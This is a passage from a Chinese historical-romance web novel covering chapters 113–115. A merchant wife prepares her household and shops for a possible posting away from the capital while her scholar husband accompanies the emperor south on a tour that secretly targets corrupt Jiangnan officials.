定了神的裴修撰晚饭都没吃,就这么趴在谢九九身上,看着窗外的夕阳一点点消散干净,直到夜里的春雨落下来,他才像是回了神一样从床上爬起来,穿衣裳鞋袜准备连夜回京。 而早就被裴元压得腿都麻了的谢九九,则懒洋洋地靠在床边自己给自己捶腿,“怎么,裴相公这是连夜都来不及在我这儿过了?” “等我的去处有个着落了,到时候我便夜夜守着大娘子,哪儿也不去。”裴元转身在谢九九眼尾轻啄了一口,眉宇间原本压抑着的郁结已然散了大半。 谢九九没有追问他是怎么想通的,夫妻这么些年有些话问出来就傻了。再说他今晚想通了,说不定明晚就想不通了,有些事本就是不通的,想与不想不过是个人的执念。 要按谢九九的性子,这事本来就不该想。 本来这么多状元也没有说每一个都能一辈子留在京城留在翰林院,待上几年升一品,时候到了去六部里转一圈,岁数到了就入内阁当阁老。 真要是都能这么顺风顺水的过一辈子,那当年关令仪就不该流落在岳州,更加不该有裴元这么个人,翰林院如今也不会有那么多穷得不得不两袖清风只剩个清贵的老翰林。 所以现在裴元犹豫到底是留在京城还是外任,压根就没有意义。裴大人唯一要做的事情,就是赶紧地打起精神来,拿出当年考试的劲头再去给自己谋个好位置回来。 裴元来得快走得也快,这一次喂饱了裴大人,谢九九没有着急回京,而是带着两个孩子在别院又住了七八天,直到南巡随驾的名册流传出消息了,她才带着阿满阿福回府。 那天关于南巡的事裴元并没有多说什么,但回府之后的谢九九看着他从关如琅的书房里拿回来许多关于水系漕运的典籍和图册,就大概猜到这次南巡祭祖是顺带的,陛下怕是要从漕运河道做切口,来收拾人了。 自古以来盐铁和漕运织造,就是朝廷垄断油水最丰富的行当,而其中漕运站河道又占了两样。 一来本身水就深,不管是漕运还是沿途的河堤河道,只要一动就是淌水似的银子往里头填。 二来盐铁织造、瓷器茶马的运输和交易,又都要依托漕运水路,这私底下到底多少走的官路,又有多少走了私路子,恐怕便是当地的官吏们也不可能完全说清。 谢九九是收拾书房的时候无意间看见的,看完就完了,过后连问都没问过裴元半句。这种要命的银子不是自己能赚得到的,自家便是再经营三代人,说不定才有本钱和底气去碰这些东西。 不过既然是要动漕运,那到时候能腾出来的官职肯定就少不了。裴元毕竟是状元,到时候说不定还真能捞着个满意的缺儿来。 心里有了这个底,当圣驾出京往南直隶去时,两人分开得也不算过于艰难。 裴元作为随驾的翰林官,大部分时候还得在御前轮值,他没精力也来不及不舍,因为他也被陛下亲手操纵的漩涡卷了进去,差别只在于他这次要充当绞杀入了漩涡陷阱那些人的刀,而不能做了别人的鱼肉。 谢九九要做的,则更加得心应手一些。她得趁着裴元离京的这段日子,把府里和铺子安排妥当,毕竟云客来和状元楼完完全全都是她一个人的,即便是她离开京城,这两个铺子却不能倒了。 “春儿,当年在容县的时候,我当时问你要不要找个好人家成亲生子,安安生生在容县过日子,当时你摇摇头说不愿意,我就把你带来了京城。” 谢九九最先找上的春儿,即便她现在住在府里的时候越来越少,守在状元楼的时间越来越多,可真到了要紧的时候,谢九九第一个想起的还是只能是她。 “小姐,你怎么又说起这个了。”春儿还以为谢九九找她回来是商量接下来几个月两间铺子里的生意怎么办,毕竟陛下这一走几乎把大半个京城都带着走了。 不光是有资格跟着圣驾一起南巡的官员宗室勋贵,还有很多做生意的人也跟着坠在出城队伍的最后面,毕竟这么多人一起上路,路上吃的用的肯定紧张短缺。 沿途的县城很难说能保证供应随驾这么多人的吃喝需求,从京城跟出去的这些生意人,只要狠心吃得下这份苦,是肯定能赚上一大笔的。 只是这么一来,留在 京城的人就更好了。这两天还有一大批读书人也跟着出了京城,人家就一路跟着去南直隶,就盼着途中万一有个什么机遇,能在陛下跟前露上一次脸,说不定就能一飞冲天。 这样的想法说出来怕招人笑话,但这么做的人却不少,“这几天状元楼的生意比老潘那边还要差,大晚上的就三桌客人,还一个个长吁短叹自己时运不济,没有跟着圣驾出京的盘缠,要不然也要跟着去。” 三个大男人,两碟小菜一壶酒喝得涕泗横流的,到最后含含糊糊甚至还说起裴元这个前状元的不好来。 说来说去都觉得裴元这三年入了翰林院就泯灭为众人,没有流传甚广的诗词,也没有做出什么惊天动地的大事来,看来他也不过是个庸才,只不过是命比旁人要更好得多罢了。 这样的话听了也就听了,春儿自然不会回来学。只不过她一门心思都扑在生意上,现在谢九九居然又老调重弹跟自己说成亲的事,这让春儿有些无所适从,“小姐,我都是二十多的老姑娘了,我还以为这辈子你不会再跟我提这个事了呢。” “我知道,你这心里啊现在就装得下银子,银子比男人更贴心更亲人是不是?” 谢九九当然知道春儿的打算,当年跟着自己来了京城之后,自己所有不方便或是腾不开手的时候,都是她替自己在外面办事。三年时间,不光是自己和裴元在京城站稳了脚跟,春儿也靠着自己和云客来与状元楼一同长大,宛如一颗苍天大树。 “你别嫌我啰嗦,我比你大几岁我自然就该看着你。女户我早就给你立了,按理说成亲成家的事你自己就能做主,我不该再插手。” “可谁让你从小跟了我,你就是烦了厌了我也还是要再问一句。”来京城三年,谢九九每年都要找机会问一问春儿,有没有成家的打算。 春儿刚开始是真的不愿意,因为来了京城之后跟着住在关家的那段时间,私底下不止一个人想要给春儿牵红绳,而对方大多都是关家的家生子。其中有两个是关家铺面上的管事,还有一个是城外庄头家的儿子。 说不上不好,给关家做管事一年到头赚的银子比京城寻常人家要多得多,再加上有主家当靠山,在寻常老百姓眼里,便是奴仆也不是轻易能够得着的。 但春儿不愿意,她愿意跟着谢九九一起来京城,一起为了一个愿景操心辛苦,却不愿意走了这么远的路,就为了一份安稳把自己给嫁了。真要求一口安生饭,那来京城还不如留在容县呢。 后来这两年,倒是没人再来跟春儿说这些,因为春儿是过了二十还没嫁人,还天天在外头抛头露面谈生意做买卖的老姑娘了。唯一还在惦记这事的,也就剩了谢九九。 “小姐您就放心,找人成家这事我是真没这个打算。要是这辈子真遇上那么个人,到时候不用您催,我就是霸王硬上弓也要想法子把人弄到手,您就赶紧跟我明说,今天把我叫过来到底因为什么吧。” 谢九九没好气地冲春儿翻了个白眼,到底不再跟她掰扯这事。她拉过春儿的手,把裴元想要外任为官的事仔仔细细都给她说了。 “这一走,我和孩子是肯定要跟着走的。老潘和有粮肯定不会走,云客来有他们的股,他们守着云客来再过两年就能把家里人都接来京城了。” “大头媳妇生了孩子,他也肯定走不了。只有你这边,云客来和状元楼都有你的心血,你的股只在状元楼,他们几个跟状元楼没什么关系,所以我这一走,京城的事情就成了个问题。” 要是春儿留下,状元楼肯定是以春儿为主,云客来那边潘掌柜他们有股,春儿能代替谢九九看着,还有个没在京城的谢九九,有什么大事都能互相牵制。 真要这么着,春儿就更加没人能管得住了。别管这事对不对,但这样一个钱耙子似的姑娘,往后再想成家可就更难了。 第113章 第113章各怀心思 外任?春儿听到这话着实愣了一下。以前不晓得这些,现在见得多了就清楚,进士考中了进士有多难,想要留在京城又有多难。 “姑爷是不是,在朝廷里惹了什么不该惹的人?还是关家有什么不对的地方,咱们要躲?” 在外面见的人多了,听的事情多了,春儿也多少明白了些官场倾轧有多残酷。人人都说如今天下太平,可每年被拉去砍头的、流放的官员都不罕见。 “暂时没有,可要是一直留在京城就说不定了。”谢九九不想瞒着春儿,但有些事没法说也说不清楚,便只能这般一句话带过。 “我只问你,你想留在京城还是跟我们走。要是留下,府里和铺子里的事情你就都得给我担起来,要是跟我走,趁着南巡这几个月我得再找个管事的回来,到时候我们走了京城这边至少要留两拨人,我才放心。” “小姐,这件事我要好好考虑。”春儿抬头认真看向谢九九,她已经不是当年那个什么都不要,只一门心思要跟着谢九九走的小姑娘了。 这两年她住在外面,身边也有一个从人牙子手里买来的小丫头帮忙端茶递水,状元楼的账房是她从别的饭庄高价挖过来的。 平时除了她守在店里,店里还有一个掌柜和一个说书先生,说书先生是个半瞎儿,他说书他闺女唱词儿。每天下午和晚上状元楼里都有一场书能听,这是他俩赖以生存的饭辙儿。 这父女两个以前本来是在烟花柳地里说书的,那地方听的书浑,给的银子也多。 但瞎老爹的女儿总要长大,年纪小的时候谁也不在意那人没板凳高的小东西,慢慢的孩子长大到了抽条的时候,就连冬天里的大棉袄都藏不住少女玲珑的腰肢时,瞎老爹就再不肯去那脏地界说书了。 京城的说书先生多,有本事的大多都在一个地方占着,轻易不会挪地方。瞎老爹不是没本事,只不过当年他家里有个得了痨病的妻子,如此一来正经地方就都不乐意留他了。 不能再带着女儿往那地界去说书,家里那病浑家也一病不起走了,凄凄惨惨熬过一个年,开春之后才左右打听在状元楼找到个可以落脚的地方。 状元楼本来有说书先生,但瞎老爹是真有本事,春儿没听过客人们嘴里老爹那些厉害极了惟妙惟肖的荤书,可光是隋唐演义春儿就来来回回听他说了一年多,到现在都还没听腻。 靠着这手本事,父女两个才算在状元楼安稳下来。现在书听到一半没听完,自己能离开吗? 一句话的功夫,春儿把状元楼上上下下,乃至后厨洗碗的大姨都想了一遍。这些人已经都在那里了,活生生的。昨晚状元楼打烊得早,大家伙儿还一起弄了个羊腿煮锅子吃。 早上要来府里,闻到发丝间还有昨夜锅子留下的味道,早上便让人赶紧烧了一锅热水洗头。丫鬟小芽儿给自己洗头的时候还小声地说,春姐姐只有进府的时候才这么讲究。 当然要讲究一些,在春儿心里谢九九跟旁人毕竟不一样。可再不一样,春儿也不能漠视除了谢九九之外,自己的人生里已经又多了很多自己无法轻易抛下的人和东西。 “……我。” 这本无可厚非,但这么多年一路相伴的情谊还是让春儿有些难堪地侧过头,不敢看谢九九的眼睛。 “本来就要好好考虑,要不是让你好好考虑,我能这么早就把这事跟你说了?” 谢九九装作看不明白春儿的纠结和犹豫,她笑着捏了捏春儿的手,她越是犹豫谢九九就越是高兴。 见多了关府和京城各家的形式做派,她自是更加清楚当过奴婢的人,这辈子即便赎回了身契,很多人总也免不了打根子上觉得自己是主子的人,过日子得依附着主人家。 人活着都 是自扫门前雪,对于那些人谢九九没有精力也没有心思想太多。但对春儿,她还是有本能的偏爱。 她希望她有自己的人生,即便没有成亲即便没有孩子,她也有她看重的人和东西,而不是一辈子光围着自己打转。 “可是……” “没有可是,春儿你好好的想,认真的想。想好了告诉我,我俩总能把事情安排好。可有一点,不许骗我,更不许骗了自己。” 这一走,什么时候再回京就不好说了,春儿要是哄了自己,不管是选择留下还是跟自己走,到时候就都没有回头路了。 春儿嘴严,之后几天谢九九不管是出城去田庄查账安排,还是带着银屏金钏几个丫鬟在府里慢慢着手开始收拾东西,都没人看出来有什么不对。 直到裴元第一封家信寄回来那天,前后脚跟着来府里的谢有粮,谢九九看着站在书房里有些焦虑又有些局促的谢有粮,抬手摆了两下示意他坐下,有什么话慢慢说。 “平时说你们没事往府里来,一个个都说没功夫,你忙,老潘也忙,大头更是天不塌下来就不出他那个厨房,今日怎么有空过来了。” “表姐这话说得冤枉人了,我哪个月不来府里对账,我不认。” “行了行了,你认不认的都一样。今天怎么有空过来,庆娘那边最近怎么样啊,家里缺什么你别不开口,有些事别老是我不问你就不说。” 谢有粮的爹娘还在鹿鸣村,但是他爹给他在老家相中的媳妇儿,去年已经随着商队从老家来了京城。 谢有粮不是多木讷的人,这两年手里也存下了些小钱。只是这点银子还不够他拿出一笔银子在京城娶个媳妇,他一个人又离家这么远,家里头爹娘不放心,便干脆把亲事给他定了下来。 对此,谢有粮谈不上满意还是不满意。庆娘这个家里给说定的媳妇来了,他当天就带到府里来,谢九九留她住了几天,几天的功夫就把婚期给说定了。 成了亲,谢有粮便在离云客来不远的地方买了个小宅院。谈不上一进两进,进门就是一个院子,有正屋有东边的厢房,西边拿来做厨房的屋子搭得更简陋些,但对于谢有粮和庆娘来说,已经是这世上最能令人心满意足的家。 安稳下来,成亲没多久庆娘那边就怀上了。谢九九平日隔三差五总要差人送点吃的用的过去,毕竟两人身边都没个长辈大人,那自己这个表姐总得尽尽心才行。 “请了大夫去家里诊脉,说是再有两个月左右就能生了。接生婆已经找好了,定金我给了双份,到时候快到日子了她肯定先紧着我这边。” “那就好,还有就是家里还是缺个干活儿的人。不说买个人回去,这一年半年的总得请个人在家里帮庆娘带人干活吧。” “已经托人再请了,京城干活的人工钱比咱们老家要得高,出银子我不怕,这两年我手里多少存了点儿,养老婆孩子够了。” 但银子花了人得请个能干的才行,当账房的时间长了谢有粮在花银子这方面手紧得很。讲究的就是一个该花的花,不该花的坚决一个铜板都不能花。 有这么个人守着云客来的账房,谢九九放心得很。也正因为如此,其实今天他过来是为了什么,谢九九也猜着了个大概。 “东家,这些日子您从账面上一共支走了五百六十两银子,城外的田有三十亩已经卖了,不过那三十亩田的位置和肥力都不够好,卖了也不稀奇。” “既然不稀奇,你又来问什么。” “前天您还让老潘最近帮忙打听着,您手头有几个摆件想要出手。状元府开了三年,除了人情往来和送到我们几个那里的,府里的东西向来是只有进没有出的。” “嘿,你小子拐着弯的骂我抠门是不是。” “没有,您要是不想说这事那我不问了。” “回来!”看着起身要走的子谢有粮,谢九九把人喊回来,“没有瞒着你的意思,这不是什么都没定下来,闹大了不好。” “您真要走啊,去哪儿啊。回南边还是去北边?姐夫可是三元及第的状元,留在京城的状元从翰林院出来,至少也能在六部做个给事中,这要是出去,怎么也得是个学政,再不然就该是个知府。” 京官比外任的官儿值钱,多少边疆大吏想要回京,回来了也得乖乖在六部找个副职的萝卜坑待上几年,才好继续往上走。想要一回来就一人之下万人之上,那是绝无可能的事。 所以裴元这个状元里的稀罕货,真放出京城去了官职绝对不会低。 学政全称提督学政,通常由按察厮副使兼任,主管一方治学,端的是清贵且无钱粮刑名之累,正五品的官职。知府作为一府的父母官,掌管一府财权钱粮科考,总之什么都管,也什么都得他来担着。 这两条路各有各的好,谢有粮现在这么问,其实就是在问裴元想走哪条路。 “怎么?你这拖家带口的还想跟着我一起走啊。” “现在不走,庆娘生了孩子也可能奔波,孩子还小也不能跟着跋山涉水。再说云客来这么多事,我走了账目谁来管,眼下我肯定走不了。” 但现在不走不代表以后不能去,要是裴元去做学政,谢有粮就踏踏实实留在京城。要是裴元去做知府,谢有粮便是不去,等过几年谢九九把新的云客来开起来,到时候肯定还是得把自己弄过去的。 “行了行了,这八字还没一撇的事,我现在给不了准话。这事你自己知道就行了,老潘他们也别说。” “放心,今天出来都没告诉他们。” 谢有粮把该说的话说完就回云客来去了,留下谢九九坐在书房把裴元寄回来的信看了一遍又一遍。 直到天色渐暗,她才点起灯坐到书桌后面给丈夫写回信。像他一样,把两人自分开后的这些天自己干了什么吃了什么做了什么,琐碎又事无巨细地全部告诉他。 第114章 第114章忙,我可忙了! 裴元是跟着圣驾一直往前走,圣驾驻跸在何处,停下来之后留几天,即便是御前伺候的内侍总管们知道的都少,就更不用说像裴元这样的翰林官。 翰林官侍奉在御前一班两个,一天六个时辰随时随地都得候着,旁人看着他们这些读书人伴驾风光,只有他们自己知道在御前有多心惊胆战。 尤其出京之后,陛下已经陆陆续续召见了许多不在计划内的官员。这些官员平日大多连奏疏都很少往京城送,可一开口说话君臣之间那种亲近默契,就听得人心惊。 除了这些人,还有一批人到中年面白无须的人,都身着暗色袍子面色恭敬,乍一看甚至看不出他们是白身还是官吏。但待在御前的时间长了,就多少能猜到他们都是太监。 皇帝喜欢用太监,因为他们无根无后。便是贪酷也出不了大乱子,而在皇帝眼里的大乱很多时候只指代一件事:皇朝覆灭。至于其他都不过是无伤大雅,大不了苦一苦百姓,忍忍就过去了嘛。 这些大逆不道的话,裴元不过兜在心里打个滚,谁也不曾知晓。只是看着这些来回进出十二监的内侍们,心就止不住地往下沉。 “你们说,陛下这是想要干嘛?今天又见了三轮那些人,行宫外面多少本地官员等着召见,硬是一个都没见。” 说话的是周既白,他本就是南直隶人,周家在南直隶算得上大族,当年迁都有大部分人想尽办法钻营着想要跟着来京城,却也有一小部分人只想守在南直隶,周家便是其中之一。 如今周家在南直隶为官的还有几个长辈,周既白这几年入了翰林院就再也没回过京城,这次有南巡的契机,裴元是不可能回容县的,但周既白却是实打实的能回家一趟。 “那谁知道呢,昨日我和远舟兄一同在御前轮值,还……” “还不是一样,来来去去的人没断过。” 裴元抬眸往林怀瑾的方向看了一眼,硬生生把他到了嘴边的话给打断。屋子里就三个人,周既白说这话或许是真无心,但在御前做翰林官最要紧的甚至都不是学识渊博,而是嘴一定一定要紧。 有些话你能用眼睛去看,但决不能拿嘴去说。这个道理林怀瑾不是不懂,只不过这小子出身好,当年又一举得了探花郎,实在是有些太春风得意马蹄疾,有些忘形了。 “你少跟我这儿打哈哈,我就不信你没看出来什么端倪。今天把你们俩找来没别的意思,就是想跟你们通个气儿,好歹咱们是同一科考出来的,这种要紧的时候不相互帮衬着些,真出了什么事后悔可晚了。” 同门、同窗、同年,对于科举出身的官员来说都是牵扯不断地关系,尤其是翰林院里每隔三年就要进一批新人,也要走一批老人,这一来一去之间,留下来的人就势必会更加抱团儿,毕竟萝卜坑就这么多,谁上谁下残酷得很。 出发之前,整个京城都为了南巡这一件事忙碌起来,但哪怕都忙成那样了,也不妨碍给三年前馆选入翰林院的庶吉士们举行老么大的散馆考试。 考试分为诗、赋、论、策,什么都要考,除了不用再进贡院,出题的难度和范围都比院试还要再难上一个台阶。 身为庶吉士的沈霁要参加考试,裴元自然要比旁人更加关注散馆的事。散馆考试成绩分为上中下三等,上等的能留在翰林院,升任正七品编修或是从七品的检讨,继续干翰林院这一摊子的活儿。 中等大多往六部或监察御史的位置上去,前者能历练有实权,后者算是入了言官之流,同样是各有各的好处,端看各人志向怎么选择罢了。 下等在京城留不住,只能外放为官。大多数都是派往中等州县任知县或是知州。到底是知县还是知州,那就要看各人的本事了。 不过不管是知县还是知州,这一去还能再回京的人便少之又少。绝大多数人这辈子就在一个又一个的任上兜兜转转,青丝变白发,这一辈子也就这么过完了。 人来了,人又走了。沈霁的成绩这一次又卡在上等最末尾,本来是可以留在翰林院的,但他自己主动去找了严学士,裴元出京之前他已经去了工部上任。工部主事,正六品的官职,工部底下那些或大或小的事情,全都得一把抓。 沈霁去了工部,同年的徐榜眼则走得比其他人更远。本朝重文轻武,武将想方设法转文职的不少,但像徐裂云这样考上了榜眼,又被一道圣旨调去锦衣卫做了指挥同知的人,还真就独一份。 裴元至今都记得圣旨下来以后,整个翰林院都炸开了锅。所有人都觉得这圣旨简直是在瞎胡闹,甚至还有人反问来宣旨的太监是不是弄错了,这圣旨到底是真是假。 翰林院有多清贵,锦衣卫的名声就有多臭。有些自视甚高的翰林官私底下说起锦衣卫,张口闭口皆是鹰犬、红袍鬼,神色语气中全是不屑和畏惧。 就这么一个臭名昭著又令人生畏的地方,让徐裂云过去做锦衣卫的二把手,真说不好陛下是喜欢徐裂云还是要把这人给毁了。 倒是徐裂云云淡风轻接了圣旨,第二天把他留在翰林院里的所有东西收拾干净,又隔了一天就往锦衣卫上任去了。 他去上任的当天,晚上关宁业就铁青着一张脸来府里找了裴元。什么都没说,只让裴元陪着他喝了个烂醉。 都是世家子,自己是被皇帝偷偷摸摸找上,几乎毁了前途名声入的锦衣卫,他徐裂云却能先考上榜眼,后又直接成了指挥同知,要知道关宁业这会儿也不过是北镇抚司的镇抚使。 徐裂云当然知道旁人在他背后议论什么,但这些事对他来说无关紧要。去了锦衣卫没多久徐裂云就出京了,去哪里没人知道,去干什么就更加没人知晓了。 不过这次出巡,裴元在御前轮值的时候长了,多少也看出些门道来。 陛下明面上在查运河连同漕运的治理,但私底下的重点都放在江南织造和盐务上,光是裴元这么个翰林官,都已经替陛下整理过不少打死都不能拿出来的奏疏和条陈了。 南直隶这边虽不如京城,六部的整套班子还在,江南之地又多富庶,盐铁织造只要碰一下都是淌水似的银子,更不要提这里面在税收钱粮上搞的鬼。这种事要么不查,一查就没人能躲得过去。 这种要命的事,陛下真要派人私下来找证据,还就没有比徐裂云更合适的人。这种活儿不光脏还得罪人,只有从徐家那样自开国屹立至今不倒的勋贵之家出来的徐裂云才有这个胆气和底气,接这份差事。 要是换做是自己?裴元忍不住想起去年有一次在宫中值夜,陛下把他找过去。本以为是有什么紧急的文书或是圣旨要拟,没想到却只是闲话家常。 真正的闲话家常,问的话极琐碎,很多裴元现在已经记不得了。唯一记得最清楚的是陛下问他,要是以后派他做巡察御史要出京,他愿意不愿意。 巡查御史不好当,裴元稍微愣了一瞬才起身回话说愿意。陛下问他是不是有顾虑,在顾虑什么?裴元没有慷慨激昂,而是很老实地说他在想自己要是出京,家中妻儿该怎么安排。 之后?之后好像就没再多问什么了。后来隔了没多久,调徐裂云去锦衣卫的圣旨就下来了。本来裴元还没往这里想,现在想着自己在御前看见过的好几封徐裂云字迹的密信,再把前后事情连起来就什么都想通了。 这次南巡,明面上是为了祭祖和巡查运河与漕运,私底下是为了查江南官场,朝廷里的党争起码有一大半缘起江南,江南读书人多啊,陛下这次是打算捅了这些读书人的老窝。 毕竟如今党争之风这般嚣张,怎么打压都压不下去,他这个做陛下的是有责任的。眼看着岁数越来越大,什么万万岁不过是唬人玩儿的虚词,皇帝这是想趁着自己彻底老迈昏聩之前再做一件大事。 而徐裂云是他最后挑中撒出去做那把最锋利的刀,至于裴元这些天子身边的近臣,则是负责一点一点把线索找出来整理出来,等着陛下把江南官场收拾干净,然后再挨个儿把空出来的箩卜坑填进去。 “真想互相帮衬啊?” “啊,不然呢。裴远舟你要说什么你就直说,别跟我这儿打哑谜。” 裴元半晌没说话,周既白刚开始还不耐烦,可裴元越沉默他反而越紧张,到最后别说催促,就连裴元要说什么话他都有点儿不敢听了。 “老老实实干活儿,少说少问多听,就算是咱们仨最好的帮衬了。” 憋了半天憋出这么个话来,周既白气得直跳脚。但裴元已然是懒得再哄着这人听话,第一个起身往外走。 “唉,去哪儿啊,难得今天不用轮值,不喝两杯啊。” “我跟你耽误什么功夫呢,我回去有事。” “有什么事啊有事,都是御前轮值,怎么就你最忙……” 周既白觉得裴元是回去弄陛下交代给他的私活儿,毕竟这一路裴元最通晓民情,在陛下跟前出的风头也最多。 而裴元才不会告诉他,自己是赶着回去看谢九九写给自己的信。 谢九九写来的信那么厚厚一沓,裴元下午只来得及粗粗看了一遍,现在回去不光要看信还得抓紧时间把回信写好寄出去,且忙着呢! 第115章 第115章连信都是二手的…… 裴元在信里绝口不提御前的事和自己现在在做的事情,厚 厚一沓信笺里写的都是沿途的风景,遇见的人或物。 越往南边走越清淡的口味和菜色,甚至有些地方做菜要放糖。不是谢九九用来提鲜那样放一点点,而是筷子点一点菜汁放在舌尖,都能尝出甜的那种甜。 南边的树也跟京城和容县都不一样,好似连风都渐渐温柔下来,吹在水面上泛起粼粼波光,很容易就迷了人的心人的眼。 圣驾在扬州停的日子久一些,裴元趁机把几年前两人匆匆路过都没来得及好好看过的扬州城转了个遍。还在瘦西湖旁画了两张画,即便被同行的林怀瑾一再嫌弃匠气太重,他也还是连同家书一起寄回京城。 这些絮絮叨叨的琐碎,在离开裴元的手中之后,当天晚上就被摆在皇帝的案头。 “这小子,这辈子没大出息。” “陛下,之前大关大人就说裴大人是个心软的,倒是不算说错了。” 在御前伺候的这些官员和锦衣卫,所有送出去的信件都会被提前检查一遍,包括这次随驾负责贴身护卫的关宁业。 谢九九的信是跟关家的一起送过来的,用的同一个信使,回信自然也得一起送出去。关宁业也懒得装那个样子,从裴元那里拿了信就连同自己的一起送到御前来,此刻甚至还津津有味地听皇帝和刘太监两人一唱一和地拿裴元打趣。 “这画你看过了?” “回陛下的话,裴大人专门给臣看过了。” “觉得画得如何?” “裴大人学识渊博,臣不好品评。不过……” 关宁业抬头看了一眼被皇帝拿在手里看了又看的画,“不过臣听说林大人对此的评价是匠气太重,他俩同科又是同僚,想来这个话还算中肯。” “你啊,什么都好就是嘴不好。嫌远舟的画不好就直说,还非要把别人拉进来。” 画确实不怎么好,但越是这般当皇帝的还就越是满意裴元。这些日子伴驾的官员一个个心思都活泛,或多或少都免不了打听和帮人打听御前的情况。 还有几个老家就在南直隶的官员,或许是闻到了些不同寻常的味道,这些日子颇有些上蹿下跳往来联络,好像只要他们把人牵扯得够多够广,陛下就不敢动他们了。 只有裴元分寸拿捏得最好,分派给他的活儿该干的干,不该他问的事绝对不多说一句。在御前当值的时候只要他不主动,不管进来面圣的人是谁,都很难注意到他。 但皇帝只要看一看他的眼睛,就知道这次自己谋划的事已经被他猜中十之八九了。他的只做不说就是在给自己无声地表忠心,这人知情识趣儿得很,识趣儿得哪怕自己不满他什么时候都要把妻儿摆在最要紧的位置上,也还是舍不得不用他。 “裴大人是状元郎,臣连会试都没考过,不拉上林大人撑腰助威,又哪里敢随意点评。” 关宁业这话一说出口,皇帝顺手就把手边一个小柑橘给扔了出去,正好扔在关宁业胸口上,关镇抚使也没让柑橘落地,只当是陛下赏给他的。 “心里不服气就直说,少在朕跟前说这些阴阳怪气的话,当朕听不明白?” “臣不敢,臣只是想不明白为何那事一定要交给徐大人去办,他入锦衣卫的时间这么短……” 关宁业升任被镇抚司镇抚使之后,本就掌管诏狱和情报密奏,这次的事不管是私底下查证据还是日后审理抄家都绕不过被镇抚司去,就连徐裂云带出京城的那些人,里面一大半都是关宁业的心腹。 “不敢,那就还是不服气了。” 关宁业性情桀骜,当年为了替关家表白忠心入了锦衣卫,或许是为了争一口气,又或许跟这些武夫在一起并不让人反感,总之关宁业这些年干得可谓是风生水起,已然是找不出一丝最初的不情愿了。 “不敢欺瞒陛下,外人提起北镇抚司的人免不了张口鹰犬闭口番子,但臣手底下的锦衣卫个个办事忠心尽力。之前把他们一个个挑选出来时,臣就已经同他们说过,这次查江南官场的事,有臣顶在前面。” 现在可好,天降一个徐裂云就这么带着自己的人一走没了影儿,人撒出去了这差事干得好不好自己都不知道,换谁谁不憋屈。 “行了,知道你识大体知体统,你手底下的锦衣卫也都随了你的根儿,等日后这事了了,朕肯定不会只记得徐裂云忘了他们。” “是不是想听这个话,是的话朕现在就说给你听。” 关宁业的抱怨在皇帝眼里字字句句都是撒娇,不满到手的差事就这么让了人。这样的举动其实并不合适,尤其作为锦衣卫镇抚使,这样的话他就不该说。但陛下愿意听这就不算错,不光愿意听还几近恩宠一般把事后的许诺提前给了关宁业。 “你跟徐裂云不一样,关家跟徐家也不一样。把你撒出去,差事办完不光你和关家要脱层皮,就连裴远舟说不定也要受牵连。徐裂云和裴远舟不一样,他们一个身后没牵挂,一个有天大的靠山,他们两人谁去都比你合适。” 裴元是入赘的,两个孩子都跟谢九九的姓。在皇帝眼里这本不能算顾忌,就算真的有人打上谢九九和两个孩子的注意,那也是命数没办法的事。 谁知这又成了他自己的一厢情愿,人家宁愿不要大前程也得要妻子孩子,这差事可不就只剩下徐裂云能办了。 “陛下一片苦心,臣铭记于心。” “去吧去吧,少跟朕这儿耍嘴皮子。再有些天就要到南直隶了,该准备的都准备妥当,别走漏了风声也别跑漏了鱼儿。” “臣遵旨。” 关宁业当然知道这个差事徐裂云去比自己去要强,但今天这样的戏码却也不能少了。陛下的一片心不能就这么神不知鬼不觉的,得让陛下知道自己心里念着圣恩,这君臣之间的情分才瓷实了。 从行宫出来,关宁业掂了掂手中的信,随手递给身边的缇骑:“尽快送回京城去,到了京城不该说的不要说,记住了?” “属下明白。” 谢九九是不知道裴元给自己的信是经过二道手的,拿到回信的时候她没打开,而是先捏在手中掂量,确定比自己寄过去的还要厚实,才算勉强满意。 不过还没等谢九九找个安静的屋子看信,金钏就步履匆匆的过来,身后还跟着一个着男装但又没束发的姑娘。 “姐!” “芝娘?!” 看着被金钏带进来的妹妹,谢九九先是惊了一下,随即才几乎狂喜着把妹妹抱进怀里,紧紧箍着似乎恨不得把芝娘揉进自己身体中去。 “你怎么来了,上上个月不是还写信给我了?来也不说一声,一路上累不累辛苦不辛苦,走的水路还是陆路,跟谁一起来的?娘和老二怎么让你一个人来了?是不是娘和文济也来了?” 做了三年状元夫人,又当着云客来和状元楼的东家,谢九九已经很少有这般情绪外露的时候,便是笑也学会了怎么笑不露齿,架子摆起来唬人得很。 “要是跟姐姐说了,你就不让我来了。” 三岁看老,从小就习惯板着脸总一副正经模样的芝娘,紧挨着 谢九九坐下脸上的笑意也褪了大半,只有眼尾弯弯亮晶晶的,能看出来小姑娘现在高兴得很。 “少编排我,我不让你来自然有我让你来的道理。娘和老二呢,来了没有。” “没有,来了难道还能让我一个人过来找你,他们不来?” 芝娘抬手箍住自家姐姐的手臂,还像小时候那样靠在她肩膀上,“这次就我一个人来的京城,姐你不能骂我。” 高兴是高兴,但高兴过了理智回笼,一听谢芝娘这个话谢九九激灵一下背脊都挺直了。“谢芝娘,你说这话是什么意思,刚刚我问你娘和你二哥你就没说,到底怎么回事赶紧老实交代。” 谢九九是长姐,即便好几年不在家但威信还在,她神情一变谢芝娘立马就老实了,本来箍住姐姐的手也偷偷放下来,就连脚尖都悄悄往门口的方向挪了挪。 “娘是真的没时间来,嫂子进门之后三年生了俩孩子,她如今天天在家跟陈妈妈几个围着孩子转,就这还忙不过来,我出发前家里又请了一个嫂子回来帮忙。” “二哥也是一样,现在的云客来跟你在家的时候又不一样了。自从姐夫中了状元之后,咱们家的生意就越来越好了。前年二哥把咱们左边的铺子给盘下来,又往上加了两层楼,好多人都说咱们家的饭庄现在比临泽楼还要气派。他……” “说点儿我不知道的,娘和老二在家干什么我不知道啊?” 妹妹说话的时候谢九九一直上下打量着她,看着她故作镇定又忍不住心虚的样子,谢九九没再听她啰嗦,而是直接打断了谢芝娘的话,“我问你答,不许再跟我绕圈子。” “你这次来京城娘和老二到底知不知道。” “知道!” 谢芝娘狠狠点头,生怕谢九九不相信又连忙解释,“家里真的知道,要不知道家里的信比我来得快。” “这一路怎么来的,怎么就突然想起来京城了?” “跟着小舅妈娘家的镖队一起来的,他们护送商队来京城,就把我给捎带上了。” 四年了,谢芝娘也是十六岁的大姑娘了。许是都像谢德昌,谢芝娘长得比谢九九还要稍微高那么一点儿,身段玲珑有致模样又漂亮的姑娘,这会儿低着头坐在姐姐身边,神态却还是个孩子。 